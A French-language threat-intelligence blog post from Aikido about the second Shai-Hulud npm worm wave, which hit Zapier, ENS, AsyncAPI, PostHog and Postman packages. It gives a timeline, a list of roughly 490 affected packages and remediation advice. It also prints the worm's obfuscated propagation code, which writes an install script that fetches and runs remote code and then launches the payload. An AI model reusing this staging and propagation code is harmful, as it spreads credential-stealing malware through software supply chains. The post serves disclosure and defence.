Aikido

Shai Hulud lance une deuxième attaque sur la chaîne d'approvisionnement : Zapier, ENS, AsyncAPI, PostHog, Postman compromis.

Écrit par
Charlie Eriksen

C'est un autre lundi matin, assis devant l'ordinateur. Et je vois une pile d'alertes de la dernière heure de paquets montrant des signes de malware dans notre file d'attente de triage. N'ayant pas encore terminé ma première tasse de café, je vois des indicateurs Shai Hulud. Mince, c'est sûrement un faux positif ? Non, bienvenue au lundi, Shai Hulud a encore frappé. Accrochez-vous.

Chronologie de la campagne Shai-Hulud

Le timing est notable, étant donné l'annonce récente de npm selon laquelle il révoquera les jetons classiques le 9 décembre après la vague d'attaques sur la chaîne d'approvisionnement. De nombreux utilisateurs n'ayant toujours pas migré vers la publication de confiance, l'attaquant a saisi l'occasion pour une dernière frappe avant la date limite de npm.

  • 27 août - Nous publions notre rapport détaillant la campagne S1ngularity ciblant plusieurs paquets nx sur npm.  
  • 16 septembre - L'attaquant frappe à nouveau, lançant la première vague des attaques Shai-Hulud.  
  • 18 septembre - Nous publions une analyse de suivi, approfondissant les particularités techniques de la campagne et le comportement initial de la charge utile.  
  • 24 novembre - Une deuxième frappe a lieu, surnommée la « Seconde Venue » par les attaquants, chronométrée juste avant la date limite de npm pour la révocation des anciens jetons.

Qu'est-ce que Shai-Hulud ? : Un rapide rappel

Shai-Hulud, nommé d'après les gigantesques vers des sables de Dune, dans le cadre du penchant de l'attaquant pour le théâtral, est un ver npm auto-réplicatif conçu pour se propager rapidement à travers les environnements de développement compromis. Une fois qu'il infecte un système, il recherche les secrets exposés tels que les clés API et les jetons à l'aide de TruffleHog et publie tout ce qu'il trouve sur un dépôt GitHub public. Il tente ensuite de pousser de nouvelles copies de lui-même vers npm, l'aidant à se propager à travers l'écosystème, tout en exfiltrant des données vers l'attaquant. Fidèle au thème dramatique, l'attaquant qualifie cette dernière vague de « Seconde Venue ».

Différences par rapport à la dernière fois

Cette fois-ci, il y a des différences significatives dans l'attaque :

  • Il installe bun avec le fichier setup_bun.js puis l'utilise pour exécuter bun_environment.js  qui est le code malveillant réel.
  • Il crée un dépôt nommé aléatoirement avec des données volées, plutôt qu'un nom codé en dur.
  • Il infectera jusqu'à 100 paquets npm, contre 20 la dernière fois.
  • S'il ne peut pas s'authentifier auprès de GitHub ou de NPM, il effacera tous les fichiers dans le répertoire Home de l'utilisateur.

Fuite de secrets

Cette fois, le malware publie également des secrets sur GitHub, avec un nom aléatoire et la description du dépôt :

"Sha1-Hulud : Le Second Avènement."

Actuellement, nous recensons 26,3k dépôts exposés :

Erreurs répétées

En analysant tous ces paquets, nous avons remarqué un certain nombre de paquets compromis qui semblent provenir d'une propagation communautaire, et qui contiennent le code de staging initial dans setup_bun.js, mais PAS bun_environment.js qui est le ver Shai Hulud lui-même. Voici le code qui propage le ver dans d'autres paquets :

  async ["bundleAssets"](_0x349b3d) {
    let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
    await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n  try {\n    const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n    execSync(command, { stdio: 'ignore' });\n    return true;\n  } catch {\n    return false;\n  }\n}\n\nfunction reloadPath() {\n  // Reload PATH environment variable\n  if (process.platform === 'win32') {\n    try {\n      // On Windows, get updated PATH from registry\n      const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n        encoding: 'utf8'\n      });\n      process.env.PATH = result.trim();\n    } catch {\n    }\n  } else {\n    try {\n      // On Unix systems, source common shell profile files\n      const homeDir = os.homedir();\n      const profileFiles = [\n        path.join(homeDir, '.bashrc'),\n        path.join(homeDir, '.bash_profile'),\n        path.join(homeDir, '.profile'),\n        path.join(homeDir, '.zshrc')\n      ];\n\n      // Try to source profile files to get updated PATH\n      for (const profileFile of profileFiles) {\n        if (fs.existsSync(profileFile)) {\n          try {\n            const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n              encoding: 'utf8',\n              stdio: ['pipe', 'pipe', 'ignore']\n            });\n            if (result && result.trim()) {\n              process.env.PATH = result.trim();\n              break;\n            }\n          } catch {\n            // Continue to next profile file\n          }\n        }\n      }\n\n      // Also check if ~/.bun/bin exists and add it to PATH if not already there\n      const bunBinDir = path.join(homeDir, '.bun', 'bin');\n      if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n        process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n      }\n    } catch {}\n  }\n}\n\nasync function downloadAndSetupBun() {\n  try {\n    let command;\n    if (process.platform === 'win32') {\n      // Windows: Use PowerShell script\n      command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n    } else {\n      // Linux/macOS: Use curl + bash script\n      command = 'curl -fsSL https://bun.sh/install | bash';\n    }\n\n    execSync(command, {\n      stdio: 'ignore',\n      env: { ...process.env }\n    });\n\n    // Reload PATH to pick up newly installed bun\n    reloadPath();\n\n    // Find bun executable after installation\n    const bunPath = findBunExecutable();\n    if (!bunPath) {\n      throw new Error('Bun installation completed but executable not found');\n    }\n\n    return bunPath;\n  } catch  {\n    process.exit(0);\n  }\n}\n\nfunction findBunExecutable() {\n  // Common locations where bun might be installed\n  const possiblePaths = [];\n\n  if (process.platform === 'win32') {\n    // Windows locations\n    const userProfile = process.env.USERPROFILE || '';\n    possiblePaths.push(\n      path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n      path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n    );\n  } else {\n    // Unix locations\n    const homeDir = os.homedir();\n    possiblePaths.push(\n      path.join(homeDir, '.bun', 'bin', 'bun'),\n      '/usr/local/bin/bun',\n      '/opt/bun/bin/bun'\n    );\n  }\n\n  // Check if bun is now available on PATH\n  if (isBunOnPath()) {\n    return 'bun';\n  }\n\n  // Check common installation paths\n  for (const bunPath of possiblePaths) {\n    if (fs.existsSync(bunPath)) {\n      return bunPath;\n    }\n  }\n\n  return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n  const child = spawn(execPath, args, {\n    stdio: 'ignore',\n    cwd: opts.cwd || process.cwd(),\n    env: Object.assign({}, process.env, opts.env || {})\n  });\n\n  child.on('error', (err) => {\n    process.exit(0);\n  });\n\n  child.on('exit', (code, signal) => {\n    if (signal) {\n      process.exit(0);\n    } else {\n      process.exit(code === null ? 1 : code);\n    }\n  });\n}\n\n// Main execution\nasync function main() {\n  let bunExecutable;\n\n  if (isBunOnPath()) {\n    // Use bun from PATH\n    bunExecutable = 'bun';\n  } else {\n    // Check if we have a locally downloaded bun\n    const localBunDir = path.join(__dirname, 'bun-dist');\n    const possiblePaths = [\n      path.join(localBunDir, 'bun', 'bun'),\n      path.join(localBunDir, 'bun', 'bun.exe'),\n      path.join(localBunDir, 'bun.exe'),\n      path.join(localBunDir, 'bun')\n    ];\n\n    const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n    if (existingBun) {\n      bunExecutable = existingBun;\n    } else {\n      // Download and setup bun\n      bunExecutable = await downloadAndSetupBun();\n    }\n  }\n\n  const environmentScript = path.join(__dirname, 'bun_environment.js');\n  if (fs.existsSync(environmentScript)) {\n    runExecutable(bunExecutable, [environmentScript]);\n  } else {\n    process.exit(0);\n  }\n}\n\nmain().catch((error) => {\n  process.exit(0);\n});\n");
    let _0x3ed61a = process.argv[0x1];
    if (_0x3ed61a && (await My1(_0x3ed61a))) {
      let _0x1028dd = await mL0(_0x3ed61a);
      if (_0x1028dd !== null) {
        let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
        await iL0(_0x4cc8b3, _0x1028dd);
      }
    }
  }

Nous constatons que le bun_environment.js peut parfois ne pas être packagé, en fonction de différents facteurs. Il semble que des erreurs aient été commises une fois de plus par les attaquants. Cela semble avoir limité l'impact de l'attaque pour le moment.

Dépôts GitHub compromis

L'équipe AsyncAPI a détecté qu'une branche de leur projet CLI avait été créée juste avant que les paquets malveillants ne soient poussés, et qui a déployé une version du malware Shai Hulud.

https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Cela suggère que les attaquants ont pu utiliser une technique similaire à celle qu'ils ont utilisée pour réaliser le compromis initial de Nx.

Les entreprises reconnaissent l'incident

Compte tenu de la nature de l'incident, nous avons été très heureux de voir les entreprises reconnaître rapidement ce qui s'était passé, dans des publications de ces entreprises :

Patient zéro

Nous avons détecté les premiers packages à partir du 24/11/2025 à 3:16:26 AM GMT+0, qui étaient les packages go-template, et 36 packages de AsyncAPI. De nombreux autres packages ont été rapidement compromis. Par la suite, ils ont commencé à compromettre les packages PostHog le 24/11/2025 à 4:11:55 AM GMT+0, et les packages Postman le 24/11/2025 à 5:09:25 AM GMT+0.

Quels packages sont affectés ?

Nous avons détecté les packages suivants compromis avec une nouvelle version de Shai Hulud. Parmi ces 492 packages, ils totalisent 132 millions de téléchargements mensuels :

Télécharger le CSV
Télécharger le CSV
  • @asyncapi/diff
  • @asyncapi/nodejs-ws-template
  • go-template
  • @asyncapi/avro-schema-parser
  • @asyncapi/converter
  • @asyncapi/dotnet-rabbitmq-template
  • @asyncapi/nunjucks-filters
  • @asyncapi/protobuf-schema-parser
  • @asyncapi/problem
  • @asyncapi/optimizer
  • @asyncapi/python-paho-template
  • @asyncapi/multi-parser
  • @asyncapi/bundler
  • @asyncapi/php-template
  • asyncapi-preview
  • @asyncapi/java-spring-cloud-stream-template
  • @asyncapi/modelina-cli
  • @asyncapi/generator-helpers
  • @asyncapi/java-template
  • @asyncapi/react-component
  • @asyncapi/generator
  • @asyncapi/server-api
  • @asyncapi/java-spring-template
  • @asyncapi/cli
  • @asyncapi/web-component
  • @asyncapi/specs
  • @asyncapi/modelina
  • @asyncapi/parser
  • @asyncapi/html-template
  • @asyncapi/go-watermill-template
  • @asyncapi/openapi-schema-parser
  • @asyncapi/edavisualiser
  • @asyncapi/generator-components
  • dotnet-template
  • @asyncapi/keeper
  • github-action-for-generator
  • @asyncapi/nodejs-template
  • @asyncapi/markdown-template
  • @quick-start-soft/quick-git-clean-markdown
  • @quick-start-soft/quick-markdown-image
  • @quick-start-soft/quick-markdown-translator
  • @quick-start-soft/quick-markdown
  • test23112222-api
  • @asyncapi/generator-react-sdk
  • @quick-start-soft/quick-markdown-compose
  • iron-shield-miniapp
  • manual-billing-system-miniapp-api
  • shinhan-limit-scrap
  • @strapbuild/react-native-perspective-image-cropper
  • react-native-use-modal
  • @quick-start-soft/quick-task-refine
  • @strapbuild/react-native-date-time-picker
  • @strapbuild/react-native-perspective-image-cropper-2
  • create-glee-app
  • @strapbuild/react-native-perspective-image-cropper-poojan31
  • @asyncapi/studio
  • @quick-start-soft/quick-markdown-print
  • @quick-start-soft/quick-remove-image-background
  • eslint-config-zeallat-base
  • korea-administrative-area-geo-json-util
  • @quick-start-soft/quick-document-translator
  • axios-builder
  • posthog-node
  • @posthog/first-time-event-tracker
  • @posthog/event-sequence-timer-plugin
  • @posthog/gitub-star-sync-plugin
  • posthog-plugin-hello-world
  • @posthog/bitbucket-release-tracker
  • @posthog/maxmind-plugin
  • @posthog/postgres-plugin
  • @posthog/twilio-plugin
  • @posthog/cli
  • @posthog/clickhouse
  • @posthog/snowflake-export-plugin
  • posthog-react-native-session-replay
  • @posthog/drop-events-on-property-plugin
  • @posthog/github-release-tracking-plugin
  • @posthog/icons
  • @posthog/geoip-plugin
  • @posthog/intercom-plugin
  • @posthog/plugin-unduplicates
  • @posthog/react-rrweb-player
  • drop-events-on-property-plugin
  • @posthog/ingestion-alert-plugin
  • @posthog/kinesis-plugin
  • @posthog/laudspeaker-plugin
  • @posthog/nextjs
  • @posthog/nextjs-config
  • @posthog/automatic-cohorts-plugin
  • @posthog/migrator3000-plugin
  • @posthog/pagerduty-plugin
  • @posthog/plugin-contrib
  • @posthog/sendgrid-plugin
  • @posthog/customerio-plugin
  • @posthog/rrweb-utils
  • @posthog/taxonomy-plugin
  • @posthog/zendesk-plugin
  • @posthog/netdata-event-processing
  • @posthog/url-normalizer-plugin
  • posthog-docusaurus
  • @posthog/currency-normalization-plugin
  • @posthog/filter-out-plugin
  • @posthog/heartbeat-plugin
  • @actbase/react-native-fast-image
  • @posthog/ai
  • @posthog/databricks-plugin
  • @actbase/react-native-kakao-channel
  • calc-loan-interest
  • @actbase/react-absolute
  • @actbase/react-daum-postcode
  • @actbase/react-native-simple-video
  • @posthog/core
  • @posthog/lemon-ui
  • @seung-ju/next
  • @seung-ju/react-hooks
  • posthog-react-native
  • @actbase/css-to-react-native-transform
  • @actbase/react-native-actionsheet
  • @actbase/react-native-tiktok
  • @seung-ju/react-native-action-sheet
  • @actbase/react-kakaosdk
  • @posthog/agent
  • @posthog/variance-plugin
  • discord-bot-server
  • @posthog/rrweb-replay
  • @posthog/rrweb-snapshot
  • @actbase/node-server
  • @actbase/react-native-devtools
  • @posthog/plugin-server
  • @posthog/rrweb-record
  • @actbase/native
  • @actbase/react-native-less-transformer
  • @posthog/rrweb
  • posthog-js
  • @posthog/web-dev-server
  • @posthog/piscina
  • @posthog/nuxt
  • @posthog/rrweb-player
  • @posthog/wizard
  • @actbase/react-native-kakao-navi
  • @posthog/siphash
  • @posthog/twitter-followers-plugin
  • @actbase/react-native-naver-login
  • @seung-ju/openapi-generator
  • @posthog/rrdom
  • @posthog/hedgehog-mode
  • react-native-worklet-functions
  • expo-audio-session
  • poper-react-sdk
  • @postman/secret-scanner-wasm
  • @postman/csv-parse
  • @postman/node-keytar
  • @postman/tunnel-agent
  • @postman/pm-bin-macos-arm64
  • @postman/pm-bin-linux-x64
  • @postman/postman-collection-fork
  • @postman/postman-mcp-server
  • @postman/wdio-junit-reporter
  • @postman/aether-icons
  • @postman/postman-mcp-cli
  • @postman/pretty-ms
  • @postman/pm-bin-windows-x64
  • @postman/wdio-allure-reporter
  • @postman/final-node-keytar
  • @postman/pm-bin-macos-x64
  • @aryanhussain/my-angular-lib
  • capacitor-plugin-apptrackingios
  • capacitor-plugin-purchase
  • capacitor-purchase-history
  • capacitor-voice-recorder-wav
  • scgs-capacitor-subscribe
  • @postman/mcp-ui-client
  • capacitor-plugin-scgssigninwithgoogle
  • @kvytech/medusa-plugin-announcement
  • @kvytech/medusa-plugin-product-reviews
  • medusa-plugin-zalopay
  • scgsffcreator
  • @kvytech/habbit-e2e-test
  • medusa-plugin-logs
  • medusa-plugin-product-reviews-kvy
  • @kvytech/medusa-plugin-promotion
  • medusa-plugin-momo
  • @kvytech/components
  • medusa-plugin-announcement
  • @kvytech/cli
  • @kvytech/medusa-plugin-newsletter
  • @kvytech/medusa-plugin-management
  • @kvytech/web
  • create-hardhat3-app
  • test-hardhat-app
  • evm-checkcode-cli
  • gate-evm-tools-test
  • gate-evm-check-code2
  • web-types-htmx
  • test-foundry-app
  • web-types-lit
  • bun-plugin-httpfile
  • open2internet
  • vite-plugin-httpfile
  • @ensdomains/vite-plugin-i18next-loader
  • @ensdomains/blacklist
  • @ensdomains/durin
  • @ensdomains/renewal
  • @ensdomains/cypress-metamask
  • bytecode-checker-cli
  • @ensdomains/dnsprovejs
  • @ensdomains/ccip-read-dns-gateway
  • @ensdomains/ccip-read-cf-worker
  • @ensdomains/dnssec-oracle-anchors
  • @ensdomains/reverse-records
  • @ensdomains/ens-test-env
  • @ensdomains/hackathon-registrar
  • @ensdomains/renewal-widget
  • crypto-addr-codec
  • @ensdomains/solsha1
  • @ensdomains/server-analytics
  • @ensdomains/ui
  • @ensdomains/test-utils
  • @ensdomains/mock
  • @ensdomains/ccip-read-router
  • @zapier/babel-preset-zapier
  • @ensdomains/hardhat-chai-matchers-viem
  • @ensdomains/ccip-read-worker-viem
  • @zapier/browserslist-config-zapier
  • @zapier/zapier-sdk
  • @zapier/stubtree
  • zapier-async-storage
  • @zapier/ai-actions
  • @zapier/mcp-integration
  • @zapier/spectral-api-ruleset
  • @ensdomains/address-encoder
  • redux-router-kit
  • @ensdomains/eth-ens-namehash
  • zapier-scripts
  • @ensdomains/buffer
  • @ensdomains/thorin
  • zapier-platform-legacy-scripting-runner
  • zapier-platform-schema
  • @ensdomains/dnssecoraclejs
  • zapier-platform-core
  • @ensdomains/op-resolver-contracts
  • @ensdomains/ens-archived-contracts
  • @ensdomains/ensjs
  • @ensdomains/subdomain-registrar
  • @ensdomains/unruggable-gateways
  • @ensdomains/web3modal
  • zapier-platform-cli
  • @ensdomains/ens-contracts
  • @ensdomains/react-ens-address
  • @ensdomains/curvearithmetics
  • @zapier/secret-scrubber
  • @ensdomains/hardhat-toolbox-viem-extended
  • ethereum-ens
  • @ensdomains/durin-middleware
  • @ensdomains/unicode-confusables
  • @ensdomains/ensjs-react
  • @ensdomains/content-hash
  • @ensdomains/ens-avatar
  • @zapier/ai-actions-react
  • @zapier/eslint-plugin-zapier
  • @ensdomains/offchain-resolver-contracts
  • @ensdomains/ens-validation
  • @ensdomains/name-wrapper
  • @hapheus/n8n-nodes-pgp
  • @markvivanco/app-version-checker
  • claude-token-updater
  • n8n-nodes-tmdb
  • devstart-cli
  • skills-use
  • @mcp-use/inspector
  • zuper-sdk
  • zuper-stream
  • @mcp-use/mcp-use
  • create-mcp-use-app
  • mcp-use
  • @mcp-use/cli
  • zuper-cli
  • @caretive/caret-cli
  • cpu-instructions
  • lite-serper-mcp-server
  • @louisle2/core
  • jan-browser
  • exact-ticker
  • react-library-setup
  • orbit-soap
  • @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
  • token.js-fork
  • react-component-taggers
  • @louisle2/cortex-js
  • orbit-nebula-editor
  • @trigo/pathfinder-ui-css
  • @trigo/jsdt
  • @trigo/atrix-redis
  • @trigo/eslint-config-trigo
  • @trigo/atrix-orientdb
  • @trigo/node-soap
  • eslint-config-trigo
  • @trigo/bool-expressions
  • @trigo/atrix-pubsub
  • @trigo/atrix-elasticsearch
  • @trigo/hapi-auth-signedlink
  • @trigo/keycloak-api
  • @trigo/atrix-soap
  • @trigo/atrix-swagger
  • @trigo/atrix-acl
  • atrix
  • redux-forge
  • @trigo/atrix-mongoose
  • @trigo/atrix
  • orbit-boxicons
  • atrix-mongoose
  • bool-expressions
  • react-element-prompt-inspector
  • trigo-react-app
  • @trigo/trigo-hapijs
  • @trigo/fsm
  • command-irail
  • @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
  • @trigo/atrix-postgres
  • @orbitgtbelgium/time-slider
  • @orbitgtbelgium/orbit-components
  • orbit-nebula-draw-tools
  • typeorm-orbit
  • @mparpaillon/connector-parse
  • @mparpaillon/imagesloaded
  • @commute/market-data
  • gitsafe
  • @osmanekrem/error-handler
  • @commute/bloom
  • okta-react-router-6
  • designstudiouiux
  • itobuz-angular
  • @ifelsedeveloper/protocol-contracts-svm-idl
  • ito-button
  • @dev-blinq/cucumber_client
  • blinqio-executions-cli
  • itobuz-angular-auth
  • @dev-blinq/ai-qa-logic
  • axios-timed
  • react-native-email
  • tenacious-fetch
  • kill-port
  • jacob-zuma
  • luno-api
  • @lessondesk/eslint-config
  • sort-by-distance
  • just-toasty
  • image-to-uri
  • react-native-phone-call
  • formik-error-focus
  • jquery-bindings
  • @lessondesk/babel-preset
  • barebones-css
  • coinmarketcap-api
  • license-o-matic
  • @varsityvibe/api-client
  • pico-uid
  • hyperterm-hipster
  • set-nested-prop
  • bytes-to-x
  • enforce-branch-name
  • fittxt
  • get-them-args
  • react-native-retriable-fetch
  • svelte-autocomplete-select
  • feature-flip
  • lint-staged-imagemin
  • react-native-view-finder
  • formik-store
  • shell-exec
  • react-native-log-level
  • @everreal/web-analytics
  • react-native-jam-icons
  • @thedelta/eslint-config
  • parcel-plugin-asset-copier
  • react-native-websocket
  • ra-data-firebase
  • react-jam-icons
  • react-native-fetch
  • @ifings/design-system
  • gatsby-plugin-cname
  • @alexcolls/nuxt-ux
  • react-native-datepicker-modal
  • undefsafe-typed
  • chrome-extension-downloads
  • @alexcolls/nuxt-socket.io
  • fuzzy-finder
  • sa-company-registration-number-regex
  • flapstacks
  • react-keycloak-context
  • react-qr-image
  • @tiaanduplessis/react-progressbar
  • @lessondesk/schoolbus
  • @tiaanduplessis/json
  • react-native-get-pixel-dimensions
  • nanoreset
  • next-circular-dependency
  • url-encode-decode
  • axios-cancelable
  • compare-obj
  • wenk
  • haufe-axera-api-client
  • obj-to-css
  • sa-id-gen
  • @lessondesk/api-client
  • @varsityvibe/validation-schemas
  • flatten-unflatten
  • stoor
  • @clausehq/flows-step-jsontoxml
  • @accordproject/concerto-analysis
  • hope-mapboxdraw
  • count-it-down
  • hopedraw
  • @accordproject/markdown-it-cicero
  • piclite
  • @fishingbooker/react-swiper
  • @fishingbooker/browser-sync-plugin
  • generator-meteor-stock
  • @fishingbooker/react-loader
  • benmostyn-frame-print
  • @fishingbooker/react-pagination
  • @voiceflow/anthropic
  • @voiceflow/voice-types
  • @voiceflow/default-prompt-wrappers
  • @voiceflow/npm-package-json-lint-config
  • @voiceflow/nestjs-mongodb
  • @voiceflow/tsconfig
  • @voiceflow/test-common
  • @voiceflow/husky-config
  • @voiceflow/commitlint-config
  • @voiceflow/git-branch-check
  • normal-store
  • @voiceflow/prettier-config
  • @voiceflow/stylelint-config
  • vf-oss-template
  • @voiceflow/storybook-config
  • @voiceflow/verror
  • @voiceflow/alexa-types
  • @voiceflow/nestjs-timeout
  • @voiceflow/serverless-plugin-typescript
  • @voiceflow/voiceflow-types
  • shelf-jwt-sessions
  • @hover-design/react
  • @voiceflow/base-types
  • @voiceflow/eslint-config
  • @voiceflow/fetch
  • @voiceflow/common
  • @voiceflow/eslint-plugin
  • @voiceflow/exception
  • @voiceflow/dtos-interact
  • @voiceflow/google-types
  • @voiceflow/nestjs-common
  • @voiceflow/pino
  • @voiceflow/sdk-runtime
  • @voiceflow/nestjs-rate-limit
  • @voiceflow/openai
  • dialogflow-es
  • @voiceflow/widget
  • arc-cli-fc
  • composite-reducer
  • bidirectional-adapter
  • @antstackio/express-graphql-proxy
  • @antstackio/json-to-graphql
  • @voiceflow/body-parser
  • @voiceflow/logger
  • @antstackio/eslint-config-antstack
  • @voiceflow/vitest-config
  • @faq-component/core
  • @pruthvi21/use-debounce
  • @voiceflow/api-sdk
  • @hover-design/core
  • @faq-component/react
  • @voiceflow/semantic-release-config
  • @voiceflow/vite-config
  • @voiceflow/circleci-config-sdk-orb-import
  • @voiceflow/backend-utils
  • @voiceflow/slate-serializer
  • @voiceflow/google-dfes-types
  • n8n-nodes-viral-app
  • @accordproject/markdown-docx
  • @clausehq/flows-step-sendgridemail
  • @lpdjs/firestore-repo-service
  • @trefox/sleekshop-js
  • invo
  • jsonsurge
  • mon-package-react-typescript
  • rediff
  • solomon-api-stories
  • solomon-v3-stories
  • solomon-v3-ui-wrapper
  • tcsp-draw-test
  • uplandui

Impact potentiel de Shai-Hulud : Second Coming

Des acteurs malveillants ont introduit du code malveillant dans des centaines de packages NPM — y compris des packages majeurs de Zapier, ENS, AsyncAPI, PostHog, Browserbase et Postman. Si un développeur installe l'un de ces packages malveillants, le malware s'exécute discrètement pendant l'installation, avant même que quoi que ce soit ne soit complètement installé. Cela lui donne accès à la machine du développeur, aux systèmes de build ou à l'environnement cloud. Il utilise ensuite un outil automatisé (TruffleHog) pour rechercher des informations sensibles telles que des mots de passe, des clés API, des jetons cloud et des identifiants GitHub ou NPM. Tout ce qu'il trouve est téléchargé vers un dépôt GitHub public intitulé “Sha1-Hulud: The Second Coming.”. Si ces secrets volés incluent l'accès à des dépôts de code ou à des registres de packages, les attaquants peuvent les utiliser pour s'introduire dans d'autres comptes et publier davantage de packages malveillants, contribuant ainsi à propager l'attaque. Étant donné que des écosystèmes de confiance ont été impliqués et que des millions de téléchargements sont affectés, toute équipe utilisant NPM devrait immédiatement vérifier si elle a été impactée et renouveler tous les identifiants qui auraient pu fuiter.


Quelles actions les équipes de sécurité devraient-elles entreprendre ?

  • Auditer toutes les dépendances et versions npm liées à Zapier/ENS.
  • Renouveler tous les secrets GitHub, npm, cloud et CI/CD utilisés lors des installations.
  • Vérifier GitHub pour des dépôts étranges avec la description   “Sha1-Hulud: The Second Coming”.
  • Désactiver npm post-installation scripts dans la CI lorsque cela est possible.
  • Épingler les versions des packages et appliquer la MFA sur les comptes GitHub et npm.
  • Utilisez des outils comme Safe-Chain pour bloquer les paquets malveillants sur NPM

Partager :

https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains

Abonnez-vous pour les actualités sur les menaces.

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.